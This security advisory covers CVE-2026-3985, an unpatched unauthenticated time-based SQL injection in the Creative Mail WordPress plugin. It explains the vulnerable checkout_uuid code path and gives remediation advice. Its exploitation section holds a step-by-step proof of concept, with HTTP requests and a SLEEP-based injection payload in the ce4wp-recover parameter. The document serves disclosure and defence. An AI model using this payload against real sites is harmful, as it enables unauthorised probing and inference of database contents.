CVE-2026-3985 affects Creative Mail and is an unauthenticated time-based SQL injection in versions up to and including 1.6.9. When abandoned-cart management and WooCommerce classic checkout are enabled, a crafted ce4wp-recover value is stored as checkout_uuid and later reaches DatabaseManager::has_checkout_consent(), where it is inserted into an SQL statement without safe preparation. Attackers can delay queries and may infer sensitive database data within the privileges of the WordPress database account.
| CVE | CVE-2026-3985 |
| Plugin Version | Creative Mail – Easier WordPress and WooCommerce Email Marketing <= 1.6.9, no known patch available |
| All Time | 21 815 980 |
| Active installations | N/A |
| Publicly Published | May 19, 2026 |
| Last Updated | May 20, 2026 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://www.cve.org/CVERecord?id=CVE-2026-3985 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/creative-mail-by-constant-contact/creative-mail-easier-wordpress-woocommerce-email-marketing-169-unauthenticated-sql-injection-via-checkout-uuid-parameter |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| February 25, 2026 | Plugin testing and vulnerability detection in Creative Mail were completed. |
| February 25, 2026 | The vulnerability was reported with PoC, description, and recommendations for remediation. |
| May 19, 2026 | CVE-2026-3985 was publicly published by Wordfence. |
Discovery of the Vulnerability
The abandoned checkout flow reads ce4wp-recover from the public request and stores it in the WooCommerce guest session as checkout_uuid. A guest can then call the ce4wp_abandoned_checkouts_capture_guest_checkout AJAX action with a checkout nonce and an email address. The nonce belongs to the public checkout flow and does not establish an authenticated WordPress identity.
During that request, DatabaseManager::has_checkout_consent() builds a lookup that includes WHERE checkout_uuid = ‘{$checkout_uuid}’. The session value is interpolated into the SQL string without $wpdb->prepare() or strict UUID validation. A value that closes the quoted string can therefore add a database expression, including a time delay used to confirm the injection without modifying stored data.
Understanding of SQL Injection attacks
SQL Injection occurs when request-controlled data becomes part of a database statement without safe parameter binding. Time-based SQL Injection does not require database errors or query results to appear in the response. The attacker compares response times while a conditional database delay is evaluated and can use repeated tests to infer information.
This case requires Creative Mail abandoned-cart management and WooCommerce classic checkout to be active. Those conditions still leave the vulnerable path available to unauthenticated visitors because a guest can create a cart, retain the WooCommerce session, obtain the checkout nonce, and send the abandoned checkout request from that same session.
Exploiting the SQL Injection Vulnerability
The following non-destructive PoC reproduces the timing difference on an authorized test installation. It uses the attacker’s own guest cart and a short database delay.
POC:
POC: 1. On an authorized WooCommerce test site running Creative Mail 1.6.9, enable abandoned-cart management and classic checkout. 2. Start a fresh guest session and add a product to the cart. GET /?add-to-cart=18 HTTP/1.1 Host: authorized-test-site.example 3. Open /checkout/ in the same guest session and obtain the checkout nonce used by the abandoned checkout request. 4. Store a baseline checkout UUID in the same session. GET /?ce4wp-recover=11111111-1111-1111-1111-111111111111 HTTP/1.1 Host: authorized-test-site.example 5. Trigger the guest checkout capture request and record the response time. POST /wp-admin/admin-ajax.php?action=ce4wp_abandoned_checkouts_capture_guest_checkout HTTP/1.1 Host: authorized-test-site.example Content-Type: application/x-www-form-urlencoded nonce=CHECKOUT_NONCE&email=sqli-test%40example.com 6. Replace the session value with the short delay payload below. GET /?ce4wp-recover=x%27%20OR%20(SELECT%20SLEEP(2))--%20- HTTP/1.1 Host: authorized-test-site.example 7. Repeat the POST request from step 5 and compare the timing. The reported test returned HTTP 200 with {"success":true}. Baseline requests completed in about 0.9 to 1.3 seconds, while the injected value repeatedly took about 8.26 to 8.30 seconds.____
The repeated delay with the same successful response confirms that the crafted checkout_uuid reaches the database query. The PoC changes no application data. A determined attacker could use the same timing channel to infer database contents that are readable by the WordPress database account.
Recommendations for Improved Security
No patched release is available and WordPress.org closed the plugin for a security issue on May 14, 2026. Site owners should remove Creative Mail and use a maintained alternative. If immediate removal is not possible, disable abandoned-cart management and restrict exposure of the vulnerable checkout flow while planning the migration.
Developers should treat checkout_uuid as an identifier, validate it against the expected UUID format, and pass it through $wpdb->prepare() with a string placeholder. The AJAX handler should also minimize unauthenticated database work and reject malformed session values before any query is built. A nonce limits cross-site request abuse but does not make string interpolation safe.
By addressing SQL Injection issues like CVE-2026-3985, WordPress site owners can prevent public checkout workflows from becoming a path to sensitive database information. Stay vigilant, stay secure.
#WordPressSecurity #SQLInjection #WooCommerceSecurity #PluginSecurity #WebsiteSafety #StayProtected #HighVulnerability
Use CleanTalk solutions to improve the security of your website
